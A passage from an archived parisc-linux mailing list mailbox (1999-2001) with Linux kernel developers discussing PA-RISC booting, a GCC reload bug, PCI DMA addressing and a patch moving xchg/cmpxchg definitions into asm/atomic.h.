so it can reboot from any disk/lan you want. You would have to
write a similar program for parisc-linux to poke stuff into NVRAM.
It might be a PDC call to do it; I don't know. But it's doable.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom Javen <tomja@InnoTrac.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Hi
Date: Fri, 14 May 1999 10:25:12 +0300 (EEST)
Lines: 23
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990514102417.5705B-100000@data.innotrac.fi>
References: <19990512220747.J1410@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619485 9549 80.91.229.3 (22 Nov 2014 01:24:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:45 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Original-X-From: tomja@InnoTrac.fi  Fri May 14 01:25:42 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id BAA18082
	for <parisc-linux@puffin.external.hp.com>; Fri, 14 May 1999 01:25:37 -0600
Original-Received: (qmail 2969 invoked by uid 15267); 14 May 1999 07:25:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2962 invoked from network); 14 May 1999 07:25:10 -0000
Original-Received: from data.innotrac.fi (193.94.103.30)
  by mailserv2.iuinc.com with SMTP; 14 May 1999 07:25:10 -0000
Original-Received: from localhost (tomja@localhost [127.0.0.1])
	by data.innotrac.fi (8.8.5/8.8.5) with SMTP id KAA06122;
	Fri, 14 May 1999 10:25:15 +0300
In-Reply-To: <19990512220747.J1410@mencheca.ch.genedata.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9057

On Wed, 12 May 1999, Matthew Wilcox wrote:

> On Wed, May 12, 1999 at 01:00:04PM -0700, Grant Grundler wrote:
> > Mathew can also download and try to install the PA-mklinux.
> > I have this running on a 712/60 now. I suggest this because
> > I don't know how accessible HP-UX bits are to the general public.
> > HP-UX is usually distributed on CD-ROM these days.
> 
> Alas, no.  The 715/33 is the one machine that mklinux does not support;
> I looked at that about 6 months ago.
Have you looked at OpenBSD ?


Tom
-- 
=============================+===========================
Tom Javen                    |   Innotrac Diagnostics Oy
email tom.javen@innotrac.fi  |   Finland
gsm   +358-40-5860532        |   phone +358-2-2410025
                             |   fax   +358-2-2410024
=============================+===========================
     


From - Thu Nov 08 21:14:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Mon, 01 Jan 2001 16:24:27 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <23885.978391467@upchuck>
References: <200012301905.OAA19130@hiauly1.hia.nrc.ca>
Reply-To: law@redhat.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619485 9552 80.91.229.3 (22 Nov 2014 01:24:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:45 +0000 (UTC)
Cc: rth@redhat.com, alan@linuxcare.com.au, rhirst@linuxcare.com,
        parisc-linux@thepuffingroup.com, gcc-bugs@gcc.gnu.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: law@upchuck.cygnus.com  Mon Jan  1 17:41:07 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA21971
	for <parisc-linux@puffin.external.hp.com>; Mon, 1 Jan 2001 17:41:03 -0700
Original-Received: (qmail 30636 invoked by uid 15267); 2 Jan 2001 00:44:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30616 invoked from network); 2 Jan 2001 00:44:21 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 2 Jan 2001 00:44:21 -0000
Original-Received: from upchuck.cygnus.com (taarna.cygnus.com [205.180.230.102])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id QAA13835
	for <parisc-linux@thepuffingroup.com>; Mon, 1 Jan 2001 16:44:19 -0800 (PST)
Original-Received: from upchuck (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id QAA23888;
	Mon, 1 Jan 2001 16:24:28 -0700
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Sat, 30 Dec 2000 14:05:50 EST.
             <200012301905.OAA19130@hiauly1.hia.nrc.ca> 
Original-Sender: law@cygnus.com
Xref: news.gmane.org gmane.linux.ports.parisc:9058


  In message <200012301905.OAA19130@hiauly1.hia.nrc.ca>you write:
  > Note that register 611 is dead at insn 1067.
Yes.


  > However, we still have REG_EQUIV
  > notes which implicitly use register 611 on insns 1091 and 1607 (not sure
  > why there isn't a note on 1627).
Err, no, that's not true.  There is no idea of an "implicit" use like
this.  

  > This leads to disaster at insn 1607
  > when the hard register assigned to 611 gets reused for other purposes
  > in the intervening code.
This indicates a reload bug to me.


  > Is the REG_DEAD note for register 611 in the right place?
Yes.
jeff


From - Thu Nov 08 21:14:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ZONE_DMA
Date: Mon, 01 Jan 2001 16:59:31 -0800
Lines: 23
Approved: news@gmane.org
Message-ID: <200101020059.QAA26152@milano.cup.hp.com>
References: <E14D9PA-00017j-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619486 9557 80.91.229.3 (22 Nov 2014 01:24:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:46 +0000 (UTC)
Cc: matthew@wil.cx (Matthew Wilcox), parisc-linux@thepuffingroup.com
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: grundler@cup.hp.com  Mon Jan  1 17:54:52 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA22336
	for <parisc-linux@puffin.external.hp.com>; Mon, 1 Jan 2001 17:54:52 -0700
Original-Received: (qmail 6400 invoked by uid 15267); 2 Jan 2001 00:58:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6393 invoked from network); 2 Jan 2001 00:58:11 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 2 Jan 2001 00:58:11 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 47836315; Mon,  1 Jan 2001 16:58:10 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id QAA26152;
	Mon, 1 Jan 2001 16:59:36 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Mon, 01 Jan 2001 18:09:53 PST."
             <E14D9PA-00017j-00@the-village.bc.nu> 
Xref: news.gmane.org gmane.linux.ports.parisc:9059

Alan Cox wrote:
> Some Alpha's probably can but we don't support that. The pci side API
> pci_alloc_consistent does

Nit: I think pci_dma_supported() is the interface meant here.

Documentation/DMA-mapping.txt has a good example here on how
pci_dma_supported() supports cripppled PCI devices.

Right now, SBA code (and CCIO too I think) only permit devices
that say they support 32-bit addressing. sba_dma_supported()
code needs to be revisited for two reasons:
o the number of bits the IO MMU actually uses is typically alot less
  - depends on the size of the I/O Pdir. Ie it could support the
  crippled PCI device pretty easily.
o Elroy HW supports 64-bit PCI addressing (Dual Address cycle).

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ZONE_DMA
Date: Tue, 2 Jan 2001 01:21:22 +0000
Lines: 11
Approved: news@gmane.org
Message-ID: <20010102012122.A10153@parcelfarce.linux.theplanet.co.uk>
References: <E14D9PA-00017j-00@the-village.bc.nu> <200101020059.QAA26152@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619486 9562 80.91.229.3 (22 Nov 2014 01:24:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:46 +0000 (UTC)
Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>, Matthew Wilcox <matthew@wil.cx>,
        parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: willy@www.linux.org.uk  Mon Jan  1 18:57:55 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA23304
	for <parisc-linux@puffin.external.hp.com>; Mon, 1 Jan 2001 18:57:54 -0700
Original-Received: (qmail 11321 invoked by uid 15267); 2 Jan 2001 02:01:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11312 invoked from network); 2 Jan 2001 02:01:03 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 2 Jan 2001 02:01:03 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14DG8g-0003AE-00; Tue, 02 Jan 2001 01:21:22 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <200101020059.QAA26152@milano.cup.hp.com>; from grundler@cup.hp.com on Mon, Jan 01, 2001 at 04:59:31PM -0800
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9060

On Mon, Jan 01, 2001 at 04:59:31PM -0800, Grant Grundler wrote:
> o Elroy HW supports 64-bit PCI addressing (Dual Address cycle).

But, if possible, we want to avoid doing DAC as it cuts down the bandwidth
(and increases latency by a clock).  obviously, if it's a 64-bit device
and a 64-bit controller, there's no problem, but we should try to stick
to 32-bit bus addresses where possible.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ZONE_DMA
Date: Mon, 01 Jan 2001 22:46:58 -0800
Lines: 21
Approved: news@gmane.org
Message-ID: <200101020647.WAA26293@milano.cup.hp.com>
References: <20010102012122.A10153@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619486 9565 80.91.229.3 (22 Nov 2014 01:24:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:46 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: grundler@cup.hp.com  Mon Jan  1 23:42:28 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA25155
	for <parisc-linux@puffin.external.hp.com>; Mon, 1 Jan 2001 23:42:27 -0700
Original-Received: (qmail 20551 invoked by uid 15267); 2 Jan 2001 06:45:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20540 invoked from network); 2 Jan 2001 06:45:42 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 2 Jan 2001 06:45:42 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 083A730A; Mon,  1 Jan 2001 22:45:41 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id WAA26293;
	Mon, 1 Jan 2001 22:47:07 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 02 Jan 2001 01:21:22 PST."
             <20010102012122.A10153@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:9061

Matthew Wilcox wrote:
> But, if possible, we want to avoid doing DAC as it cuts down the bandwidth
> (and increases latency by a clock).  obviously, if it's a 64-bit device
> and a 64-bit controller, there's no problem, but we should try to stick
> to 32-bit bus addresses where possible.

That's correct. But then we can bypass the I/O MMU. SBA HW has bits
to support that - but I don't fully understand all the limitations of when
this "mode" can be used. Bypassing the I/O MMU would improve DMA performance
and reduce work CPU has to do to "map" each page of DMA.

Though it's generally a good direction, optimizing the PCI bus isn't
always the right answer.  Ie moving from 32- to 64-bit wide data
transfers is a *much* bigger performance win than DAC.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] move xchg/cmpxchg to atomic.h
Date: Tue, 2 Jan 2001 00:11:57 -0800 (PST)
Lines: 318
Approved: news@gmane.org
Message-ID: <200101020811.AAA26525@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619487 9569 80.91.229.3 (22 Nov 2014 01:24:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:47 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk, parisc-linux@thepuffingroup.com
To: linux-kernel@vger.kernel.org
Original-X-From: grundler@cup.hp.com  Tue Jan  2 01:07:14 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA26235
	for <parisc-linux@puffin.external.hp.com>; Tue, 2 Jan 2001 01:07:14 -0700
Original-Received: (qmail 3498 invoked by uid 15267); 2 Jan 2001 08:10:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3487 invoked from network); 2 Jan 2001 08:10:32 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 2 Jan 2001 08:10:32 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 023C553D; Tue,  2 Jan 2001 00:10:31 -0800 (PST)
Original-Received: (from grundler@localhost)
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) id AAA26525;
	Tue, 2 Jan 2001 00:11:57 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:9062


On parisc-linux mailing list, Grant Grundler wrote:
> After surveying all the arches that define __HAVE_ARCH_CMPXCHG:
> 
> ./include/asm-alpha/system.h:#define __HAVE_ARCH_CMPXCHG 1
> ./include/asm-i386/system.h:#define __HAVE_ARCH_CMPXCHG 1
> ./include/asm-ia64/system.h:#define __HAVE_ARCH_CMPXCHG 1
> ./include/asm-ppc/system.h:#define __HAVE_ARCH_CMPXCHG  1
> ./include/asm-sparc64/system.h:#define __HAVE_ARCH_CMPXCHG 1
> 
> I've come to the conclusion xchg/cmpxchg definitions do NOT
> belong in system.h.  AFAICT, all the above use Load Linked semantics
> (or in the i386 case, operation is atomic). In other words, xchg/cmpxchg
> are atomic operations.  Shouldn't xchg/cmpxchg definitions live
> with other atomic operations - asm/atomic.h?
 
On Sat, 30 Dec 2000 16:46:57 +0000 (GMT), Alan Cox replied:
| Seems a reasonable thing to try and move to atomic.h yes

Fundemental problem is parisc only supports one atomic operation
(LDCW/LDCD) and uses spinlocks for all atomic operations including
xchg/cmpxchg. Issue is dependencies between system.h, atomic.h
and spinlock.h are *really* ugly and prevented parisc port from
inlining xchg/cmpxchg definitions. This is a first step in fixing
that problem.

I've already made this change to the parisc-linux source tree for parisc
and parisc64 builds. Below is the i386 patch for linux-2.4.0-prerelease.
This is a simple cut/paste.

thanks,
grant

diff -ruNp linux/include/asm-i386/atomic.h linux.patch/include/asm-i386/atomic.h
--- linux/include/asm-i386/atomic.h	Sun Dec 31 11:10:16 2000
+++ linux.patch/include/asm-i386/atomic.h	Mon Jan  1 23:28:08 2001
@@ -2,6 +2,7 @@
 #define __ARCH_I386_ATOMIC__
 
 #include <linux/config.h>
+#include <linux/bitops.h> /* for LOCK_PREFIX */
 
 /*
  * Atomic operations that C can't guarantee us.  Useful for
@@ -111,4 +112,136 @@ __asm__ __volatile__(LOCK "andl %0,%1" \
 __asm__ __volatile__(LOCK "orl %0,%1" \
 : : "r" (mask),"m" (*addr) : "memory")
 
+
+/* xchg/cmpxchg moved from asm/system.h */
+#define xchg(ptr,v) ((__typeof__(*(ptr)))__xchg((unsigned long)(v),(ptr),sizeof(*(ptr))))
+
+#define tas(ptr) (xchg((ptr),1))
+
+struct __xchg_dummy { unsigned long a[100]; };
+#define __xg(x) ((struct __xchg_dummy *)(x))
+
+
+/*
+ * The semantics of XCHGCMP8B are a bit strange, this is why
+ * there is a loop and the loading of %%eax and %%edx has to
+ * be inside. This inlines well in most cases, the cached
+ * cost is around ~38 cycles. (in the future we might want
+ * to do an SIMD/3DNOW!/MMX/FPU 64-bit store here, but that
+ * might have an implicit FPU-save as a cost, so it's not
+ * clear which path to go.)
+ */
+extern inline void __set_64bit (unsigned long long * ptr,
+		unsigned int low, unsigned int high)
+{
+__asm__ __volatile__ (
+	"1:	movl (%0), %%eax;
+		movl 4(%0), %%edx;
+		cmpxchg8b (%0);
+		jnz 1b"
+	::		"D"(ptr),
+			"b"(low),
+			"c"(high)
+	:
+			"ax","dx","memory");
+}
+
+extern void inline __set_64bit_constant (unsigned long long *ptr,
+						 unsigned long long value)
+{
+	__set_64bit(ptr,(unsigned int)(value), (unsigned int)((value)>>32ULL));
+}
+#define ll_low(x)	*(((unsigned int*)&(x))+0)
+#define ll_high(x)	*(((unsigned int*)&(x))+1)
+
+extern void inline __set_64bit_var (unsigned long long *ptr,
+			 unsigned long long value)
+{
+	__set_64bit(ptr,ll_low(value), ll_high(value));
+}
+
+#define set_64bit(ptr,value) \
+(__builtin_constant_p(value) ? \
+ __set_64bit_constant(ptr, value) : \
+ __set_64bit_var(ptr, value) )
+
+#define _set_64bit(ptr,value) \
+(__builtin_constant_p(value) ? \
+ __set_64bit(ptr, (unsigned int)(value), (unsigned int)((value)>>32ULL) ) : \
+ __set_64bit(ptr, ll_low(value), ll_high(value)) )
+
+/*
+ * Note: no "lock" prefix even on SMP: xchg always implies lock anyway
+ * Note 2: xchg has side effect, so that attribute volatile is necessary,
+ *	  but generally the primitive is invalid, *ptr is output argument. --ANK
+ */
+static inline unsigned long __xchg(unsigned long x, volatile void * ptr, int size)
+{
+	switch (size) {
+		case 1:
+			__asm__ __volatile__("xchgb %b0,%1"
+				:"=q" (x)
+				:"m" (*__xg(ptr)), "0" (x)
+				:"memory");
+			break;
+		case 2:
+			__asm__ __volatile__("xchgw %w0,%1"
+				:"=r" (x)
+				:"m" (*__xg(ptr)), "0" (x)
+				:"memory");
+			break;
+		case 4:
+			__asm__ __volatile__("xchgl %0,%1"
+				:"=r" (x)
+				:"m" (*__xg(ptr)), "0" (x)
+				:"memory");
+			break;
+	}
+	return x;
+}
+
+/*
+ * Atomic compare and exchange.  Compare OLD with MEM, if identical,
+ * store NEW in MEM.  Return the initial value in MEM.  Success is
+ * indicated by comparing RETURN with OLD.
+ */
+
+#ifdef CONFIG_X86_CMPXCHG
+#define __HAVE_ARCH_CMPXCHG 1
+
+static inline unsigned long __cmpxchg(volatile void *ptr, unsigned long old,
+				      unsigned long new, int size)
+{
+	unsigned long prev;
+	switch (size) {
+	case 1:
+		__asm__ __volatile__(LOCK_PREFIX "cmpxchgb %b1,%2"
+				     : "=a"(prev)
+				     : "q"(new), "m"(*__xg(ptr)), "0"(old)
+				     : "memory");
+		return prev;
+	case 2:
+		__asm__ __volatile__(LOCK_PREFIX "cmpxchgw %w1,%2"
+				     : "=a"(prev)
+				     : "q"(new), "m"(*__xg(ptr)), "0"(old)
+				     : "memory");
+		return prev;
+	case 4:
+		__asm__ __volatile__(LOCK_PREFIX "cmpxchgl %1,%2"
+				     : "=a"(prev)
+				     : "q"(new), "m"(*__xg(ptr)), "0"(old)
+				     : "memory");
+		return prev;
+	}
+	return old;
+}
+
+#define cmpxchg(ptr,o,n)\
+	((__typeof__(*(ptr)))__cmpxchg((ptr),(unsigned long)(o),\
+					(unsigned long)(n),sizeof(*(ptr))))
+    
+#else
+/* Compiling for a 386 proper.	Is it worth implementing via cli/sti?  */
 #endif
+
+#endif /* __ARCH_I386_ATOMIC__ */
diff -ruNp linux/include/asm-i386/system.h linux.patch/include/asm-i386/system.h
--- linux/include/asm-i386/system.h	Sun Dec 31 11:10:16 2000
+++ linux.patch/include/asm-i386/system.h	Mon Jan  1 23:27:58 2001
@@ -4,7 +4,6 @@
 #include <linux/config.h>
 #include <linux/kernel.h>
 #include <asm/segment.h>
-#include <linux/bitops.h> /* for LOCK_PREFIX */
 
 #ifdef __KERNEL__
 
@@ -123,136 +122,6 @@ static inline unsigned long get_limit(un
 }
 
 #define nop() __asm__ __volatile__ ("nop")
-
-#define xchg(ptr,v) ((__typeof__(*(ptr)))__xchg((unsigned long)(v),(ptr),sizeof(*(ptr))))
-
-#define tas(ptr) (xchg((ptr),1))
-
-struct __xchg_dummy { unsigned long a[100]; };
-#define __xg(x) ((struct __xchg_dummy *)(x))
-
-
-/*
- * The semantics of XCHGCMP8B are a bit strange, this is why
- * there is a loop and the loading of %%eax and %%edx has to
- * be inside. This inlines well in most cases, the cached
- * cost is around ~38 cycles. (in the future we might want
- * to do an SIMD/3DNOW!/MMX/FPU 64-bit store here, but that
- * might have an implicit FPU-save as a cost, so it's not
- * clear which path to go.)
- */
-extern inline void __set_64bit (unsigned long long * ptr,
-		unsigned int low, unsigned int high)
-{
-__asm__ __volatile__ (
-	"1:	movl (%0), %%eax;
-		movl 4(%0), %%edx;
-		cmpxchg8b (%0);
-		jnz 1b"
-	::		"D"(ptr),
-			"b"(low),
-			"c"(high)
-	:
-			"ax","dx","memory");
-}
-
-extern void inline __set_64bit_constant (unsigned long long *ptr,
-						 unsigned long long value)
-{
-	__set_64bit(ptr,(unsigned int)(value), (unsigned int)((value)>>32ULL));
-}
-#define ll_low(x)	*(((unsigned int*)&(x))+0)
-#define ll_high(x)	*(((unsigned int*)&(x))+1)
-
-extern void inline __set_64bit_var (unsigned long long *ptr,
-			 unsigned long long value)
-{
-	__set_64bit(ptr,ll_low(value), ll_high(value));
-}
-
-#define set_64bit(ptr,value) \
-(__builtin_constant_p(value) ? \
- __set_64bit_constant(ptr, value) : \
- __set_64bit_var(ptr, value) )
-
-#define _set_64bit(ptr,value) \
-(__builtin_constant_p(value) ? \
- __set_64bit(ptr, (unsigned int)(value), (unsigned int)((value)>>32ULL) ) : \
- __set_64bit(ptr, ll_low(value), ll_high(value)) )
-
-/*
- * Note: no "lock" prefix even on SMP: xchg always implies lock anyway
- * Note 2: xchg has side effect, so that attribute volatile is necessary,
- *	  but generally the primitive is invalid, *ptr is output argument. --ANK
- */
-static inline unsigned long __xchg(unsigned long x, volatile void * ptr, int size)
-{
-	switch (size) {
-		case 1:
-			__asm__ __volatile__("xchgb %b0,%1"
-				:"=q" (x)
-				:"m" (*__xg(ptr)), "0" (x)
-				:"memory");
-			break;
-		case 2:
-			__asm__ __volatile__("xchgw %w0,%1"
-				:"=r" (x)
-				:"m" (*__xg(ptr)), "0" (x)
-				:"memory");
-			break;
-		case 4:
-			__asm__ __volatile__("xchgl %0,%1"
-				:"=r" (x)
-				:"m" (*__xg(ptr)), "0" (x)
-				:"memory");
-			break;
-	}
-	return x;
-}
-
-/*
- * Atomic compare and exchange.  Compare OLD with MEM, if identical,
- * store NEW in MEM.  Return the initial value in MEM.  Success is
- * indicated by comparing RETURN with OLD.
- */
-
-#ifdef CONFIG_X86_CMPXCHG
-#define __HAVE_ARCH_CMPXCHG 1
-
-static inline unsigned long __cmpxchg(volatile void *ptr, unsigned long old,
-				      unsigned long new, int size)
-{
-	unsigned long prev;
-	switch (size) {
-	case 1:
-		__asm__ __volatile__(LOCK_PREFIX "cmpxchgb %b1,%2"
-				     : "=a"(prev)
-				     : "q"(new), "m"(*__xg(ptr)), "0"(old)
-				     : "memory");
-		return prev;
-	case 2:
-		__asm__ __volatile__(LOCK_PREFIX "cmpxchgw %w1,%2"
-				     : "=a"(prev)
-				     : "q"(new), "m"(*__xg(ptr)), "0"(old)
-				     : "memory");
-		return prev;
-	case 4:
-		__asm__ __volatile__(LOCK_PREFIX "cmpxchgl %1,%2"
-				     : "=a"(prev)
-				     : "q"(new), "m"(*__xg(ptr)), "0"(old)
-				     : "memory");
-		return prev;
-	}
-	return old;
-}

From - Thu Nov 08 21:14:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] move xchg/cmpxchg to atomic.h
Date: Tue, 2 Jan 2001 01:03:48 -0800
Lines: 42
Approved: news@gmane.org
Message-ID: <200101020903.BAA14334@pizda.ninka.net>
References: <200101020811.AAA26525@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619487 9572 80.91.229.3 (22 Nov 2014 01:24:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:47 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, alan@lxorguk.ukuu.org.uk,
        parisc-linux@thepuffingroup.com
To: grundler@cup.hp.com
Original-X-From: davem@redhat.com  Tue Jan  2 02:18:39 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA26829
	for <parisc-linux@puffin.external.hp.com>; Tue, 2 Jan 2001 02:18:38 -0700
Original-Received: (qmail 11829 invoked by uid 15267); 2 Jan 2001 09:21:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11818 invoked from network); 2 Jan 2001 09:21:56 -0000
Original-Received: from pizda.ninka.net (root@216.101.162.242)
  by mailserv2.iuinc.com with SMTP; 2 Jan 2001 09:21:56 -0000
Original-Received: (from davem@localhost)
	by pizda.ninka.net (8.9.3/8.9.3) id BAA14334;
	Tue, 2 Jan 2001 01:03:48 -0800
In-reply-to: <200101020811.AAA26525@milano.cup.hp.com> (message from Grant
	Grundler on Tue, 2 Jan 2001 00:11:57 -0800 (PST))
Xref: news.gmane.org gmane.linux.ports.parisc:9063

   Date: 	Tue, 2 Jan 2001 00:11:57 -0800 (PST)
   From: Grant Grundler <grundler@cup.hp.com>

   Fundemental problem is parisc only supports one atomic operation
   (LDCW/LDCD) and uses spinlocks for all atomic operations including
   xchg/cmpxchg.

Using spinlocks for the implementation of xchg on SMP might be
problematic.

If you implement things like this, several subtle things might
break.  For example, there is code in a few spots (or, at least at one
time there was) which assumed the update of the datum itself is atomic
and uses this assumption to do lock-free read-only accesses of the
data.

If you require an external agent (f.e. your spinlock) because you
cannot implement xchg with a real atomic sequence, this breaks the
above assumptions.

It is very common to do things like:

producer(elem)
{
	elem->next = list->head;
	xchg(&list->head, elem);
}

consumer()
{
	local_list = xchg(&list->head, NULL);
	for_each(elem, local_list)
		do_something(elem);
}

In fact we had code excatly like this in the buffer cache at one
point in time.

Later,
David S. Miller
davem@redhat.com


From - Thu Nov 08 21:14:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
